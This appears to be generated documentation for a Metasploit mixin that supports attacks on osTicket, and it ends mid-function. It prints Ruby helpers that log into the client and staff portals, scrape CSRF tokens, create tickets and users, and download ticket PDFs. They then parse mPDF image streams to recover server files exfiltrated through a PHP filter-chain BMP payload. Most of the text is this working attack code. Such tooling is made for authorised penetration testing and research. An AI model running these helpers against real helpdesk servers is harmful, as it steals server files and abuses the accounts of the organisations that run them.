Module: Msf::Auxiliary::Osticket

Includes:
Exploit::Remote::HTTP::PhpFilterChain, Exploit::Remote::HttpClient
Defined in:
lib/msf/core/auxiliary/osticket.rb

Overview

Shared mixin providing helpers for osTicket auxiliary modules: HTTP authentication, CSRF extraction, PHP filter-chain payload generation, PDF exfiltration parsing, and credential/note reporting.

Constant Summary

Constants included from Exploit::Remote::HTTP::PhpFilterChain

Exploit::Remote::HTTP::PhpFilterChain::CONVERSIONS

Instance Attribute Summary

Attributes included from Exploit::Remote::HttpClient

#client, #cookie_jar

Instance Method Summary collapse

Methods included from Exploit::Remote::HTTP::PhpFilterChain

#initialize

Methods included from Exploit::Remote::HttpClient

#basic_auth, #cleanup, #configure_http_login_scanner, #connect, #connect_ws, #deregister_http_client_options, #disconnect, #download, #full_uri, #handler, #http_fingerprint, #initialize, #lookup_http_fingerprints, #normalize_uri, #path_from_uri, #peer, #proxies, #reconfig_redirect_opts!, #request_opts_from_url, #request_url, #rhost, #rport, #send_request_cgi, #send_request_cgi!, #send_request_raw, #service_details, #setup, #ssl, #ssl_version, #sslkeylogfile, #strip_tags, #target_uri, #validate_fingerprint, #vhost

Methods included from Exploit::Remote::Kerberos::ServiceAuthenticator::Options

#kerberos_auth_options, #kerberos_clock_skew_seconds

Methods included from Exploit::Remote::Kerberos::Ticket::Storage

#initialize, #kerberos_storage_options, #kerberos_ticket_storage, store_ccache

Methods included from LoginScanner

#configure_login_scanner

Methods included from Report

#active_db?, #create_cracked_credential, #create_credential, #create_credential_and_login, #create_credential_login, #db, #db_warning_given?, #get_client, #get_host, #inside_workspace_boundary?, #invalidate_login, #mytask, #myworkspace, #myworkspace_id, #report_auth_info, #report_client, #report_exploit, #report_host, #report_loot, #report_note, #report_service, #report_vuln, #report_web_form, #report_web_page, #report_web_site, #report_web_vuln, #store_cred, #store_local, #store_loot

Methods included from Metasploit::Framework::Require

optionally, optionally_active_record_railtie, optionally_include_metasploit_credential_creation, #optionally_include_metasploit_credential_creation, optionally_require_metasploit_db_gem_engines

Instance Method Details

#acquire_lock_code(base_uri, ticket_id, cookies) ⇒ String

Acquires a ticket lock via the SCP AJAX endpoint, which is required before submitting a reply on the staff panel.

Parameters:

  • base_uri (String)

    base path to osTicket

  • ticket_id (String)

    internal ticket ID

  • cookies (String)

    session cookies

Returns:

  • (String)

    lock code, or empty string if unavailable



249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
# File 'lib/msf/core/auxiliary/osticket.rb', line 249

def acquire_lock_code(base_uri, ticket_id, cookies)
  lock_uri = normalize_uri(base_uri, 'scp', 'ajax.php', 'lock', 'ticket', ticket_id.to_s)
  vprint_status("acquire_lock_code: POST #{lock_uri}")
  res = send_request_cgi(
    'method' => 'POST',
    'uri' => lock_uri,
    'cookie' => cookies,
    'headers' => { 'X-Requested-With' => 'XMLHttpRequest' }
  )
  return '' unless res&.code == 200

  begin
    data = JSON.parse(res.body)
    if data['code']
      vprint_good('acquire_lock_code: Got lock code from JSON response')
      return data['code'].to_s
    end
  rescue JSON::ParserError
    vprint_status('acquire_lock_code: Response is not JSON, trying plain text')
  end

  # Sometimes returned as plain text
  text = res.body.to_s.strip
  return text if text.length < 30

  vprint_warning('acquire_lock_code: Could not parse lock code, reply may fail')
  ''
end

#clean_unprintable_bytes(data) ⇒ String

Strips non-printable ASCII characters, keeping 0x20-0x7E and whitespace.

Parameters:

  • data (String)

    raw bytes

Returns:

  • (String)

    cleaned ASCII bytes



853
854
855
856
# File 'lib/msf/core/auxiliary/osticket.rb', line 853

def clean_unprintable_bytes(data)
  data.encode('ASCII', invalid: :replace, undef: :replace, replace: '')
      .gsub(/[^\x20-\x7E\n\r\t]/, '').b
end

#create_ticket(base_uri, cookies, subject, message) ⇒ Array

Creates a new ticket via the client portal (open.php). Returns the internal ticket ID and visible ticket number on success.

Parameters:

  • base_uri (String)

    base path to osTicket

  • cookies (String)

    session cookies (client portal)

  • subject (String)

    ticket subject line

  • message (String)

    ticket message body

Returns:

  • (Array)
    ticket_id, ticket_number

    or [nil, nil] on failure



1080
1081
1082
1083
1084
1085
1086
1087
1088
1089
1090
1091
1092
1093
1094
1095
1096
1097
1098
1099
1100
1101
1102
1103
1104
1105
1106
1107
1108
1109
1110
1111
1112
1113
1114
1115
1116
1117
1118
1119
1120
1121
1122
1123
1124
1125
1126
1127
1128
1129
1130
1131
1132
1133
1134
1135
1136
1137
1138
1139
1140
1141
1142
1143
1144
1145
1146
1147
1148
1149
1150
1151
1152
1153
1154
1155
1156
1157
1158
# File 'lib/msf/core/auxiliary/osticket.rb', line 1080

def create_ticket(base_uri, cookies, subject, message)
  open_uri = normalize_uri(base_uri, 'open.php')
  vprint_status("create_ticket: GET #{open_uri}")

  res = send_request_cgi('method' => 'GET', 'uri' => open_uri, 'cookie' => cookies)
  unless res&.code == 200
    vprint_error("create_ticket: GET open.php failed (code=#{res&.code})")
    return [nil, nil]
  end

  csrf = extract_csrf_token(res.body)
  # Fallback: meta csrf_token tag used on some osTicket builds
  csrf ||= res.body.match(/<meta\s+name="csrf_token"\s+content="([^"]+)"/i)&.[](1)
  unless csrf
    vprint_error('create_ticket: No CSRF token found on open.php')
    return [nil, nil]
  end

  # Grab updated session cookies from the open.php response before any AJAX call
  session_cookies = res.get_cookies
  session_cookies = cookies if session_cookies.empty?

  # Static HTML only has the topicId select; subject/message fields are
  # injected via ajax.php/form/help-topic/{id} when a topic is chosen.
  topic_id = detect_open_form_fields(res.body)
  subject_field, message_field = fetch_topic_form_fields(base_uri, topic_id, session_cookies)
  unless subject_field && message_field
    vprint_error('create_ticket: Could not detect form field names from topic AJAX response')
    return [nil, nil]
  end

  vprint_status("create_ticket: POST #{open_uri} (topicId=#{topic_id})")
  res = send_request_cgi(
    'method' => 'POST',
    'uri' => open_uri,
    'cookie' => session_cookies,
    'vars_post' => {
      '__CSRFToken__' => csrf,
      'a' => 'open',
      'topicId' => topic_id,
      subject_field => subject,
      message_field => message,
      'draft_id' => ''
    }
  )
  unless res
    vprint_error('create_ticket: No response from POST open.php (nil)')
    return [nil, nil]
  end
  vprint_status("create_ticket: POST response code=#{res.code}")

  new_cookies = res.get_cookies
  new_cookies = session_cookies if new_cookies.empty?

  if res.code == 302
    location = res.headers['Location'].to_s
    ticket_id = location.match(/tickets\.php\?id=(\d+)/i)&.[](1)
    unless ticket_id
      vprint_error("create_ticket: Cannot parse ticket ID from Location header: #{location}")
      return [nil, nil]
    end
    vprint_good("create_ticket: Ticket created, internal ID=#{ticket_id}")
    ticket_number = fetch_ticket_number(base_uri, ticket_id, new_cookies)
    return [ticket_id, ticket_number]
  end

  # Some installs return 200 with success notice and a link in the body
  if res.code == 200 && res.body.include?('ticket request created')
    id_match = res.body.match(/tickets\.php\?id=(\d+)/)
    if id_match
      ticket_id = id_match[1]
      ticket_number = fetch_ticket_number(base_uri, ticket_id, new_cookies)
      return [ticket_id, ticket_number]
    end
  end

  vprint_error("create_ticket: Unexpected response (code=#{res.code})")
  [nil, nil]
end

#create_ticket_scp(base_uri, prefix, cookies, subject, message) ⇒ Array

Creates a new ticket via the SCP (staff) portal.

The ticket is owned by the user identified by SCP_TICKET_EMAIL / SCP_TICKET_NAME options, which default to user@msf.com / MSF User. These options are ONLY consulted when ticket creation is triggered through a valid SCP portal login.

Flow:

1. fetch_open_form_fields_scp   - CSRF, topicId, deptId, slaId
2. fetch_topic_form_fields_scp  - subject/message hex-hash field names
3. ensure_user_scp              - lookup or create ticket owner, get user_id
4. POST tickets.php?a=open      - create ticket, follow 302 for ticket_id
5. fetch_ticket_number_scp      - resolve visible ticket number

Parameters:

  • base_uri (String)

    base path to osTicket

  • prefix (String)

    portal prefix ('/scp')

  • cookies (String)

    session cookies

  • subject (String)

    ticket subject

  • message (String)

    ticket message body

Returns:

  • (Array)
    ticket_id, ticket_number

    or [nil, nil] on failure



1474
1475
1476
1477
1478
1479
1480
1481
1482
1483
1484
1485
1486
1487
1488
1489
1490
1491
1492
1493
1494
1495
1496
1497
1498
1499
1500
1501
1502
1503
1504
1505
1506
1507
1508
1509
1510
1511
1512
1513
1514
1515
1516
1517
1518
1519
1520
1521
1522
1523
1524
1525
1526
1527
1528
1529
1530
1531
1532
1533
1534
1535
1536
1537
1538
1539
1540
1541
1542
1543
1544
1545
1546
1547
1548
1549
1550
1551
1552
1553
1554
# File 'lib/msf/core/auxiliary/osticket.rb', line 1474

def create_ticket_scp(base_uri, prefix, cookies, subject, message)
  fields = fetch_open_form_fields_scp(base_uri, prefix, cookies)
  return [nil, nil] unless fields

  session_cookies = fields[:session_cookies]

  subject_field, message_field = fetch_topic_form_fields_scp(
    base_uri, prefix, fields[:topic_id], session_cookies
  )
  unless subject_field && message_field
    vprint_error('create_ticket_scp: Could not detect subject/message field names')
    return [nil, nil]
  end

  ticket_email = datastore['SCP_TICKET_EMAIL'].to_s
  ticket_fullname = datastore['SCP_TICKET_NAME'].to_s

  user_id = ensure_user_scp(
    base_uri, prefix, session_cookies, fields[:csrf],
    ticket_email, ticket_fullname
  )
  unless user_id
    vprint_error('create_ticket_scp: Could not resolve ticket owner user ID')
    return [nil, nil]
  end

  open_uri = normalize_uri(base_uri, prefix, 'tickets.php')
  vprint_status("create_ticket_scp: POST #{open_uri}?a=open (user_id=#{user_id})")

  res = send_request_cgi(
    'method' => 'POST',
    'uri' => open_uri,
    'cookie' => session_cookies,
    'vars_post' => {
      '__CSRFToken__' => fields[:csrf],
      'do' => 'create',
      'a' => 'open',
      'email' => ticket_email,
      'name' => user_id,
      'reply-to' => 'all',
      'source' => 'Web',
      'topicId' => fields[:topic_id],
      'deptId' => fields[:dept_id],
      'slaId' => fields[:sla_id],
      'duedate' => '',
      'assignId' => '0',
      subject_field => subject,
      message_field => message,
      'cannedResp' => '0',
      'append' => '1',
      'response' => '',
      'statusId' => '1',
      'signature' => 'none',
      'note' => '',
      'draft_id' => ''
    }
  )
  unless res
    vprint_error('create_ticket_scp: No response from POST (nil)')
    return [nil, nil]
  end
  vprint_status("create_ticket_scp: POST response code=#{res.code}")

  unless res.code == 302
    vprint_error("create_ticket_scp: Expected 302 redirect, got #{res.code}")
    return [nil, nil]
  end

  location = res.headers['Location'].to_s
  ticket_id = location.match(/tickets\.php\?id=(\d+)/i)&.[](1)
  unless ticket_id
    vprint_error("create_ticket_scp: Cannot parse ticket ID from Location: #{location}")
    return [nil, nil]
  end

  new_cookies = res.get_cookies.empty? ? session_cookies : res.get_cookies
  vprint_good("create_ticket_scp: Ticket created, internal ID=#{ticket_id}")

  ticket_number = fetch_ticket_number_scp(base_uri, prefix, ticket_id, new_cookies)
  [ticket_id, ticket_number]
end

#decode_b64_permissive(data, min_bytes = 12) ⇒ String

Best-effort base64 decoding in 4-byte blocks. Falls back to cleaning the input as printable ASCII if decoded output is below min_bytes (indicating the data was probably plaintext, not base64).

Parameters:

  • data (String)

    raw bytes to decode

  • min_bytes (Integer) (defaults to: 12)

    minimum decoded length to consider valid

Returns:

  • (String)

    decoded bytes or cleaned plaintext



792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
# File 'lib/msf/core/auxiliary/osticket.rb', line 792

def decode_b64_permissive(data, min_bytes = 12)
  data = data.strip
  decoded = ''.b
  i = 0

  while i < data.length
    block = data[i, 4]
    # Stop at non-base64 characters (matches Python's validate=True behavior)
    break unless block.match?(%r{\A[A-Za-z0-9+/=]+\z})

    begin
      decoded << Rex::Text.decode_base64(block)
    rescue StandardError
      break
    end
    i += 4
  end

  decoded.length < min_bytes ? clean_unprintable_bytes(data) : decoded
end

#decompress_raw_deflate(data, chunk_size = 1024) ⇒ String

Decompresses raw deflate data (no zlib header) in chunks, tolerating truncated or corrupted streams.

Parameters:

  • data (String)

    raw deflate-compressed bytes

  • chunk_size (Integer) (defaults to: 1024)

    decompression chunk size

Returns:

  • (String)

    decompressed bytes (may be partial)



819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
# File 'lib/msf/core/auxiliary/osticket.rb', line 819

def decompress_raw_deflate(data, chunk_size = 1024)
  return ''.b if data.nil? || data.empty?

  inflater = Zlib::Inflate.new(-Zlib::MAX_WBITS)
  output = ''.b
  i = 0

  while i < data.length
    begin
      output << inflater.inflate(data[i, chunk_size])
    rescue Zlib::DataError, Zlib::BufError
      begin
        output << inflater.flush_next_out
      rescue StandardError
        nil
      end
      break
    end
    i += chunk_size
  end

  begin
    output << inflater.finish
  rescue StandardError
    nil
  end
  inflater.close
  output
end

#detect_open_form_fields(html) ⇒ String

Extracts the first usable topicId from the static open.php HTML.

NOTE: osTicket loads the subject/message form fields dynamically via AJAX (ajax.php/form/help-topic/id) when a topic is chosen, they are NOT in the initial open.php response. Call fetch_topic_form_fields separately.

Parameters:

  • html (String)

    HTML of open.php

Returns:

  • (String)

    topicId value (first non-empty option, defaults to '1')



959
960
961
962
963
964
965
966
967
968
969
970
# File 'lib/msf/core/auxiliary/osticket.rb', line 959

def detect_open_form_fields(html)
  doc = Nokogiri::HTML(html)

  topic_select = doc.at('select[@name="topicId"]') || doc.at('select[@id="topicId"]')
  # Skip the blank placeholder option ("-- Select a Help Topic --")
  topic_id = topic_select&.search('option')
                         &.find { |o| !o['value'].to_s.empty? }
                          &.[]('value') || '1'

  vprint_status("detect_open_form_fields: topicId=#{topic_id}")
  topic_id
end

#detect_reply_textarea(html, prefix) ⇒ String

Detects the reply textarea field name from the ticket page HTML.

Uses Nokogiri DOM parsing for reliable attribute extraction. osTicket sets id=“response” (SCP) or id=“message” (client) on the reply textarea and gives it a dynamic hex-hash name attribute.

Parameters:

  • html (String)

    ticket page HTML

  • prefix (String)

    portal prefix ('/scp' or ")

Returns:

  • (String)

    textarea field name



1565
1566
1567
1568
1569
1570
1571
1572
1573
1574
1575
1576
1577
1578
1579
# File 'lib/msf/core/auxiliary/osticket.rb', line 1565

def detect_reply_textarea(html, prefix)
  doc = Nokogiri::HTML(html)

  # Try the well-known ids first
  ta = doc.at('textarea[@id="response"]') || doc.at('textarea[@id="message"]')
  return ta['name'] if ta && !ta['name'].to_s.empty?

  # Fallback: any textarea with a hex-hash name (osTicket dynamic field naming)
  doc.search('textarea').each do |t|
    name = t['name'].to_s
    return name if name.match?(/\A[a-f0-9]{10,}\z/)
  end

  prefix == '/scp' ? 'response' : 'message'
end

#download_ticket_pdf(base_uri, prefix, ticket_id, cookies, max_redirects = 3) ⇒ String?

Downloads the PDF export of a ticket. Tries multiple known URL patterns.

Parameters:

  • base_uri (String)

    base path to osTicket

  • prefix (String)

    portal prefix ('/scp' or ")

  • ticket_id (String)

    internal ticket ID

  • cookies (String)

    session cookies

Returns:

  • (String, nil)

    raw PDF bytes, or nil on failure



386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
# File 'lib/msf/core/auxiliary/osticket.rb', line 386

def download_ticket_pdf(base_uri, prefix, ticket_id, cookies, max_redirects = 3)
  base = normalize_uri(base_uri, prefix, 'tickets.php')
  vprint_status("download_ticket_pdf: Trying PDF export from #{base}")

  [
    { 'a' => 'print', 'id' => ticket_id },
    { 'a' => 'print', 'id' => ticket_id, 'pdf' => 'true' },
    { 'id' => ticket_id, 'a' => 'print' }
  ].each do |params|
    query = params.map { |k, v| "#{k}=#{v}" }.join('&')
    vprint_status("download_ticket_pdf: GET #{base}?#{query}")
    res = send_request_cgi!(
      { 'method' => 'GET', 'uri' => base, 'cookie' => cookies, 'vars_get' => params },
      20,
      max_redirects
    )
    unless res
      vprint_error("download_ticket_pdf: No response (nil) for params=#{params}")
      next
    end

    content_type = res.headers['Content-Type'] || ''
    magic = res.body[0, 4].to_s
    vprint_status("download_ticket_pdf: Response code=#{res.code}, Content-Type=#{content_type}, magic=#{magic.inspect}, size=#{res.body.length}")

    if content_type.start_with?('application/pdf') || magic == '%PDF'
      vprint_good("download_ticket_pdf: Got PDF (#{res.body.length} bytes)")
      return res.body
    else
      vprint_warning('download_ticket_pdf: Not a PDF response')
    end
  end

  vprint_error('download_ticket_pdf: All PDF URL patterns failed')
  nil
end

#ensure_user_scp(base_uri, prefix, cookies, csrf, email, fullname) ⇒ String?

Ensures a ticket owner user exists in osTicket via the SCP portal.

Looks up the user by email first. If not found, fetches the user creation form field names and POSTs to create the user, then looks up again to retrieve the internal ID.

NOTE: The email and fullname values come from SCP_TICKET_EMAIL / SCP_TICKET_NAME datastore options - they are NOT the attacker’s login credentials and are only used here to assign ownership of the created ticket.

Parameters:

  • base_uri (String)

    base path to osTicket

  • prefix (String)

    portal prefix ('/scp')

  • cookies (String)

    session cookies

  • csrf (String)

    CSRF token from the SCP ticket form

  • email (String)

    ticket owner email (SCP_TICKET_EMAIL)

  • fullname (String)

    ticket owner full name (SCP_TICKET_NAME)

Returns:

  • (String, nil)

    internal user ID or nil on failure



1382
1383
1384
1385
1386
1387
1388
1389
1390
1391
1392
1393
1394
1395
1396
1397
1398
1399
1400
1401
1402
1403
1404
1405
1406
1407
1408
1409
1410
1411
1412
1413
1414
1415
1416
1417
# File 'lib/msf/core/auxiliary/osticket.rb', line 1382

def ensure_user_scp(base_uri, prefix, cookies, csrf, email, fullname)
  user_id = lookup_user_id_scp(base_uri, prefix, cookies, email)
  return user_id if user_id

  vprint_status("ensure_user_scp: user not found, attempting to create (#{email})")

  email_field, name_field = fetch_user_form_fields_scp(base_uri, prefix, cookies)
  unless email_field && name_field
    vprint_error('ensure_user_scp: Could not extract user form field names')
    return nil
  end

  ajax_uri = normalize_uri(base_uri, prefix, 'ajax.php', 'users', 'lookup', 'form')
  proto = datastore['SSL'] ? 'https' : 'http'
  referer = "#{proto}://#{rhost}:#{rport}#{normalize_uri(base_uri, prefix, 'tickets.php')}?a=open"

  send_request_cgi(
    'method' => 'POST',
    'uri' => ajax_uri,
    'cookie' => cookies,
    'vars_post' => {
      email_field => email,
      name_field => fullname,
      'undefined' => 'Add User'
    },
    'headers' => {
      'X-Requested-With' => 'XMLHttpRequest',
      'X-CSRFToken' => csrf,
      'Referer' => referer
    }
  )

  user_id = lookup_user_id_scp(base_uri, prefix, cookies, email)
  vprint_status("ensure_user_scp: post-create lookup id=#{user_id.inspect}")
  user_id
end

#extract_csrf_token(html) ⇒ String?

Extracts the __CSRFToken__ hidden field value from an osTicket HTML page. Handles name-before-value, value-before-name, and single/double quotes.

Parameters:

  • html (String)

    HTML response body

Returns:

  • (String, nil)

    CSRF token value, or nil if not found



43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
# File 'lib/msf/core/auxiliary/osticket.rb', line 43

def extract_csrf_token(html)
  vprint_status("extract_csrf_token: Searching HTML (#{html.to_s.length} bytes) for __CSRFToken__")
  [
    /name="__CSRFToken__"[^>]*value="([^"]+)"/,
    /value="([^"]+)"[^>]*name="__CSRFToken__"/,
    /name='__CSRFToken__'[^>]*value='([^']+)'/,
    /value='([^']+)'[^>]*name='__CSRFToken__'/
  ].each do |pattern|
    match = html.match(pattern)
    if match
      vprint_good("extract_csrf_token: Found token=#{match[1]}")
      return match[1]
    end
  end
  vprint_error('extract_csrf_token: No CSRF token found in HTML')
  nil
end

#extract_data_from_bmp_stream(raw_data) ⇒ String?

Extracts file data from a stream containing BMP pixel data. Looks for the ISO-2022-KR escape sequence marker (x1b$)C), strips null bytes, and decodes (base64 + optional zlib).

Parameters:

  • raw_data (String)

    raw stream bytes

Returns:

  • (String, nil)

    extracted file content, or nil



725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
# File 'lib/msf/core/auxiliary/osticket.rb', line 725

def extract_data_from_bmp_stream(raw_data)
  marker = "\x1b$)C".b
  idx = raw_data.index(marker)
  unless idx
    # Not a BMP stream with our marker - this is expected for most PDF streams
    return nil
  end

  vprint_status("extract_data_from_bmp_stream: ISO-2022-KR marker found at offset #{idx} in #{raw_data.length}-byte stream")
  data = raw_data[(idx + marker.length)..].gsub("\x00".b, ''.b)
  if data.empty?
    vprint_warning('extract_data_from_bmp_stream: No data after marker (empty after null-strip)')
    return nil
  end
  vprint_status("extract_data_from_bmp_stream: #{data.length} bytes after marker (nulls stripped)")

  # Add this block here: Preview the data to see if it's base64 or plain text
  preview_len = 96
  preview = data[0, preview_len]
  vprint_status("First #{preview_len} bytes of data after marker and null-strip:")
  vprint_status("  ascii: #{preview.gsub(/[^\x20-\x7e]/, '.').inspect}")
  vprint_status("  hex:   #{preview.unpack1('H*').scan(/../).join(' ')}")

  vprint_status("Data looks like base64? #{looks_like_base64?(data)}")

  # Conditional processing based on whether it's base64
  if looks_like_base64?(data)
    b64_decoded = decode_b64_permissive(data)
    vprint_status("extract_data_from_bmp_stream: b64 decoded=#{b64_decoded.length} bytes")

    # Preview decoded if successful
    if !b64_decoded.empty?
      dec_preview = b64_decoded[0, 96]
      vprint_status('First 96 bytes of b64_decoded:')
      vprint_status("  ascii: #{dec_preview.gsub(/[^\x20-\x7e]/, '.').inspect}")
      vprint_status("  hex:   #{dec_preview.unpack1('H*').scan(/../).join(' ')}")
    end

    decompressed = decompress_raw_deflate(b64_decoded)
    vprint_status("extract_data_from_bmp_stream: zlib decompressed=#{decompressed.length} bytes")

    # Preview decompressed if any
    if !decompressed.empty?
      zlib_preview = decompressed[0, 96]
      vprint_status('First 96 bytes of decompressed:')
      vprint_status("  ascii: #{zlib_preview.gsub(/[^\x20-\x7e]/, '.').inspect}")
      vprint_status("  hex:   #{zlib_preview.unpack1('H*').scan(/../).join(' ')}")
    end

    return decompressed unless decompressed.empty?
    return b64_decoded unless b64_decoded.empty?
  else
    # For plain, preview the data itself
    vprint_status('Treating as plain (non-base64) - preview:')
    vprint_status("  ascii: #{data[0, 96].gsub(/[^\x20-\x7e]/, '.').inspect}")
    vprint_status("  hex:   #{data[0, 96].unpack1('H*').scan(/../).join(' ')}")
  end
  data
end

#extract_files_from_pdf(pdf_data) ⇒ Array<String>

Extracts exfiltrated file contents from a PDF generated by mPDF.

mPDF embeds our BMP payload as a PDF image XObject, converting the pixel data from BMP’s BGR byte order to PDF’s RGB byte order. To find the ISO-2022-KR marker, we must convert the image data back to BGR.

This mirrors what the Python PoC does with PyMuPDF + Pillow:

pix = fitz.Pixmap(pdf_doc, xref)       # extract image (RGB)
pil_image.save(bmp_buffer, "BMP")       # convert to BMP (BGR)
extract_data_from_bmp(bmp_data)          # find marker in BGR data

Parameters:

  • pdf_data (String)

    raw PDF bytes

Returns:

  • (Array<String>)

    array of extracted file contents



549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
# File 'lib/msf/core/auxiliary/osticket.rb', line 549

def extract_files_from_pdf(pdf_data)
  vprint_status("extract_files_from_pdf: Processing PDF (#{pdf_data.length} bytes)")
  results = []

  # Primary: Extract image XObjects, swap RGB for BGR, search for marker
  image_streams = extract_pdf_image_streams(pdf_data)
  vprint_status("extract_files_from_pdf: Found #{image_streams.length} image XObject streams")

  image_streams.each_with_index do |img_data, idx|
    # Swap RGB for BGR to restore original BMP pixel byte order
    bgr_data = swap_rgb_bgr(img_data)
    vprint_status("extract_files_from_pdf: Image ##{idx}: #{img_data.length} bytes, swapped to BGR")

    # Try BGR-swapped data first; fall back to raw if swap didn't help
    content = extract_data_from_bmp_stream(bgr_data)
    content ||= extract_data_from_bmp_stream(img_data)
    next unless content && !content.empty?

    clean = content.sub(/\x00+\z/, ''.b)
    pad_idx = clean.index('@C>=='.b)
    clean = clean[0...pad_idx] if pad_idx && pad_idx > 0
    unless clean.empty?
      vprint_good("extract_files_from_pdf: Image ##{idx} yielded #{clean.length} bytes of extracted data")
      results << clean
    end
  end

  # Fallback: scan all streams directly (catches data not in XObjects or where
  # BGR swap wasn't needed). Always runs so partial primary results aren't final.
  streams = extract_pdf_streams(pdf_data)
  vprint_status("extract_files_from_pdf: Fallback - scanning #{streams.length} raw streams")

  streams.each_with_index do |stream, idx|
    content = extract_data_from_bmp_stream(stream)
    next unless content && !content.empty?

    clean = content.sub(/\x00+\z/, ''.b)
    pad_idx = clean.index('@C>=='.b)
    clean = clean[0...pad_idx] if pad_idx && pad_idx > 0
    next if clean.empty?

    # Skip duplicates already found by the primary XObject path
    next if results.any? { |r| r == clean }

    vprint_good("extract_files_from_pdf: Stream ##{idx} yielded #{clean.length} bytes of extracted data")
    results << clean
  end

  vprint_status("extract_files_from_pdf: Total extracted files: #{results.length}")
  results
end

#extract_pdf_image_streams(pdf_data) ⇒ Array<String>

Finds image XObject streams in the PDF and returns their decompressed data. Parses the raw PDF to locate objects with /Subtype /Image, then extracts and decompresses their stream content.

Parameters:

  • pdf_data (String)

    raw PDF bytes

Returns:

  • (Array<String>)

    array of decompressed image stream data



607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
# File 'lib/msf/core/auxiliary/osticket.rb', line 607

def extract_pdf_image_streams(pdf_data)
  pdf_data = pdf_data.dup.force_encoding('ASCII-8BIT')
  images = []

  # Find all object start positions
  obj_starts = []
  pdf_data.scan(/\d+\s+\d+\s+obj\b/) do
    obj_starts << Regexp.last_match.begin(0)
  end

  obj_starts.each_with_index do |obj_start, i|
    # Determine object boundary (up to next obj or end of file)
    obj_end = i + 1 < obj_starts.length ? obj_starts[i + 1] : pdf_data.length
    obj_data = pdf_data[obj_start...obj_end]

    # Only process image XObjects
    next unless obj_data.match?(%r{/Subtype\s*/Image})

    # Find stream data within this object
    stream_idx = obj_data.index('stream')
    next unless stream_idx

    # Skip past "stream" keyword + newline delimiter
    data_start = stream_idx + 6
    data_start += 1 if data_start < obj_data.length && obj_data[data_start] == "\r".b
    data_start += 1 if data_start < obj_data.length && obj_data[data_start] == "\n".b

    endstream_idx = obj_data.index('endstream', data_start)
    next unless endstream_idx

    stream_data = obj_data[data_start...endstream_idx]
    stream_data = stream_data.sub(/\r?\n?\z/, '')

    # Decompress if FlateDecode filter is applied
    if obj_data.match?(%r{/Filter\s*/FlateDecode}) || obj_data.match?(%r{/Filter\s*\[.*?/FlateDecode})
      begin
        decompressed = Zlib::Inflate.inflate(stream_data)
      rescue Zlib::DataError, Zlib::BufError
        decompressed = stream_data
      end
    else
      decompressed = stream_data
    end

    vprint_status("extract_pdf_image_streams: Found image object (#{decompressed.length} bytes decompressed)")
    images << decompressed
  end

  images
end

#extract_pdf_streams(pdf_data) ⇒ Array<String>

Extracts and decompresses all stream objects from raw PDF data. Most PDF streams use FlateDecode (zlib).

Parameters:

  • pdf_data (String)

    raw PDF bytes

Returns:

  • (Array<String>)

    array of decompressed stream contents



686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
# File 'lib/msf/core/auxiliary/osticket.rb', line 686

def extract_pdf_streams(pdf_data)
  streams = []
  pos = 0

  while (start_idx = pdf_data.index('stream', pos))
    data_start = start_idx + 6
    data_start += 1 if data_start < pdf_data.length && pdf_data[data_start] == "\r"
    data_start += 1 if data_start < pdf_data.length && pdf_data[data_start] == "\n"

    end_idx = pdf_data.index('endstream', data_start)
    break unless end_idx

    stream_data = pdf_data[data_start...end_idx].sub(/\r?\n?\z/, '')

    begin
      streams << Zlib::Inflate.inflate(stream_data)
    rescue Zlib::DataError, Zlib::BufError
      streams << stream_data
    end

    pos = end_idx + 9
  end

  streams
end

#fetch_open_form_fields_scp(base_uri, prefix, cookies) ⇒ Hash?

Fetches static form fields from the SCP new-ticket page.

GET prefix/tickets.php?a=open - extracts CSRF token and the first non-empty option values for topicId, deptId, and slaId selects.

Parameters:

  • base_uri (String)

    base path to osTicket

  • prefix (String)

    portal prefix ('/scp')

  • cookies (String)

    session cookies

Returns:

  • (Hash, nil)

    topic_id:, dept_id:, sla_id:, session_cookies: or nil



1173
1174
1175
1176
1177
1178
1179
1180
1181
1182
1183
1184
1185
1186
1187
1188
1189
1190
1191
1192
1193
1194
1195
1196
1197
1198
1199
1200
1201
1202
1203
1204
1205
1206
1207
1208
1209
1210
1211
1212
1213
1214
1215
1216
# File 'lib/msf/core/auxiliary/osticket.rb', line 1173

def fetch_open_form_fields_scp(base_uri, prefix, cookies)
  open_uri = normalize_uri(base_uri, prefix, 'tickets.php')
  vprint_status("fetch_open_form_fields_scp: GET #{open_uri}?a=open")

  res = send_request_cgi(
    'method' => 'GET',
    'uri' => open_uri,
    'cookie' => cookies,
    'vars_get' => { 'a' => 'open' }
  )
  unless res&.code == 200
    vprint_error("fetch_open_form_fields_scp: failed (code=#{res&.code})")
    return nil
  end

  doc = Nokogiri::HTML(res.body)

  csrf = doc.at('input[@name="__CSRFToken__"]')&.[]('value') ||
         doc.at('meta[@name="csrf_token"]')&.[]('content')
  unless csrf
    vprint_error('fetch_open_form_fields_scp: No CSRF token found')
    return nil
  end

  first_option = lambda { |name|
    doc.at("select[@name=\"#{name}\"]")
       &.search('option')
       &.find { |o| !o['value'].to_s.strip.empty? }
       &.[]('value')
  }

  topic_id = first_option.call('topicId') || '1'
  dept_id = first_option.call('deptId') || '0'
  sla_id = first_option.call('slaId') || '0'

  vprint_status("fetch_open_form_fields_scp: csrf=#{csrf[0, 8]}... topicId=#{topic_id} deptId=#{dept_id} slaId=#{sla_id}")
  {
    csrf: csrf,
    topic_id: topic_id,
    dept_id: dept_id,
    sla_id: sla_id,
